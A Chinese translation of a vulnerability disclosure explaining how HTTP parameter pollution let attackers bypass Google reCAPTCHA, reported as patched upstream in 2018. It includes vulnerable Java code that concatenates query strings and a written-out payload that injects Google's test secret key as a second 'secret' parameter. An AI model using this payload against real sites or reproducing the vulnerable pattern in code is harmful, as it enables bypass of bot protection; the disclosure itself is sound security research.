通过HTTP参数污染绕过Google reCAPTCHA验证机制

简述

今年1月，作者向Goole提交了一个关于reCAPTCHA验证码绕过的漏洞，该漏洞的绕过方法是需要web应用通过 reCAPTCHA 以一种不安全的方式来处理，然后发送到/recaptcha/api/siteverify的请求。当遇到这种情况是，攻击者都能绕过reCAPTCHA的安全验证机制。目前，谷歌从reCAPTCHA API的顶层接口上对这个漏洞进行了修复，且不需要对Web应用程序进行任何修改。本文将介绍如何通过HTTP参数污染绕过RECAPTCHA机制。

reCAPTCHA验证机制

reCAPTCHA是Google提供的一项免费验证服务，可允许web应用开发者将验证码认证（CAPTCHA ）机制添加到他们的自主网站当中。reCAPTCHA是一项非常复杂的服务：会根据已存在的cookies来选择信任用户，或通过用户手动地去完成一些它提供的识别测试。接下来要介绍的是发现漏洞的情况。

当Web应用要测试用户时，，Google会提供一个图像集并使用JavaScript代码在浏览器中显示，如下图：

当用户点击验证码CAPTCHA进行“验证”（Verify）时，就会触发一个指向网站的HTTP请求，该请求大致如下：

POST /verify-recaptcha-response HTTP/1.1
Host: trustauth.cn

recaptcha-response={reCAPTCHA-generated-hash}

收到请求后，web应用程序需要向Google的reCAPTCHA API发送一个请求来验证用户的响应：

POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.trustauth.cn
Content-Type: application/x-www-form-urlencoded

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

Web应用程序需要使用{application-secret}进行身份验证，并向API发送{reCAPTCHA- generated-hash}来查询结果。如果用户的回答无误后，则API的反馈信息如下：

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90

{
“success”: true,
“challenge_ts”: “2018-01-29T17:58:36Z”,
“hostname”: “…”
}

最后，Web应用将接受并处理该响应信息，最终用户被允许访问相应的网站资源。

HTTP参数污染

HTTP参数污染在客户端和服务器端之间几乎无处不在，相关的风险很大程度是取决于上下文，在某些特定的情况下，很可能会导致数据泄露。但大多数情况下是处于低风险的。

绕过reCAPTCHA认证需要web应用中存在HTTP参数污染，该项要求大大降低了Google对此漏洞报告的严重性。易受攻击的Web应用程序示例如下所示：

private String sendPost(String CaptchaResponse, String Secret) throws Exception {

String url = “https://www.trustauth.cn/recaptcha/api/siteverify”+”?
response=”+CaptchaResponse+”&secret=”+Secret;
URL obj = new URL(url);
HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();

其中字符串拼接用于创建* url *变量。

同样需要注意的还有Google服务端，发送以下两个HTTP请求，会得到相同的响应消息。

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.trustauth.cn
…

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

 

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.trustauth.cn
…

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret=
{another-secret-application-secret}

谷歌的reCAPTCHA API 始终使用请求中的第一个secret参数，并忽略第二个。严格来说，这不是一个reCAPTCHA API 本身存在的漏洞，但存在被利用的网络风险。

问题的关键

Web开发人员需要用自动化的方法来测试他们的应用程序，为此Google提供一种简单的方法在临时环境“禁用”reCAPTCHA验证。这可通过Google说明文档来参考。总之，如果要禁用
reCAPTCHA验证，必须要使用编码网站和密钥：

Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI

Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

整合

现在所有的要素已具备，接下来介绍如何利用：

POST /verify-recaptcha-response HTTP/1.1
Host: trustauth.cn

recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

如果web应用存在http参数污染漏洞，并且该url是通过在secret参数之前拼通过添加response参数来构建的，则攻击者可以绕过reCAPTCHA验证。请注意，我正在向易受攻击的Web应用程序发送特定响应，其中包含：

anything: 代表一个占位符

%26: url编码的“&”符号字符

secret: 要进行“注入”的参数名称

%3d: url编码的“=”符号字符

6Le…JWe: 禁用 reCAPTCHA 验证响应验证的密钥

当满足攻击要求时，Web应用程序会将下列HTTP请求发送到reCAPTCHA API：

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.trustauth.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7

recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu

请注意，该请求包含两个secret参数，第一个由攻击者控制（易受攻击的Web应用程序中的HTTP参数污染），第二个由应用程序本身控制。鉴于reCAPTCHA API使用第一个，对此请求的
响应总是：

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90

{
“success”: true,
“challenge_ts”: “2018-01-29T17:58:36Z”,
“hostname”: “…”
}

这将由Web应用程序处理，reCAPTCHA 会被禁用而绕过，而攻击者也将被授予访问权限。

FIXED UPSTREAM固定上行

而Google决定在他们的REST API中修复该问题，作者认为这是明智的举措。虽然Google给出的解决方案是十分简单的。具体如下：如果/recaptcha/api/siteverify的HTTP请求包含两个相同的参数，就会返回一个错误的消息。

通过这种简单的方法，就可以保护易受HTTP参数污染攻击和reCAPTCHA绕过攻击的Web应用程序，并且不需要更新任何补丁。

在实战中引用

要在Web应用程序中利用该漏洞，必须满足两个要求：

第一，Web应用程序在reCAPTCHA url创建时存在HTTP参数污染漏洞：Github搜索显示，有60％集成有reCAPTCHA验证方式的Web开发架构会受到HTTP参数污染攻击。

第二：易受HTTP参数污染攻击的Web应用先要创建具有响应参数的URL，然后在创建secret参数，即：“response=…&secret=…”。这时候就会出现大多数应用使用的是“secret=…&response=…”的奇怪现象。因此作者猜测可能是因为Google文档和代码示例也是这种做法，所以很多人直接参考了。不然的话，该漏洞将会影响更多的网站。而GitHub搜索显示只有5％到10％的reCAPTCHA验证机制存符合这种情况。

因此，如果在实战中利用这一点，那么只有约3%使用reCAPTCHA的网站存在这个漏洞，这似乎还是比较乐观的数字概率，毕竟比其他漏洞的风险少了很多。

总结

· 作为开发者: 切勿使用字符串连接来创建查询字符串。使用字典存储键和值，然后进行url编码。

· 作为应用程序安全专家: HTTP参数污染是你的研究对象。

时间轴

2018-1-29 / 漏洞被提交到Google

2018-1-30 / Google回应称reCAPTCHA功能正常

2018-1-31 / 作者请求Google再看一遍报告

2018-1-31 / Google要求更多细节

2018-2-1 / Google确认漏洞

2018-2-15 / Google奖励500美元。奖金捐给了慈善机构。

2018-3-25 / 补丁发布

本文由数安时代GDCA翻译自：https://trustauth.cn/如若转载，请注明原文地址：https://www.trustauth.cn/wiki/26096.html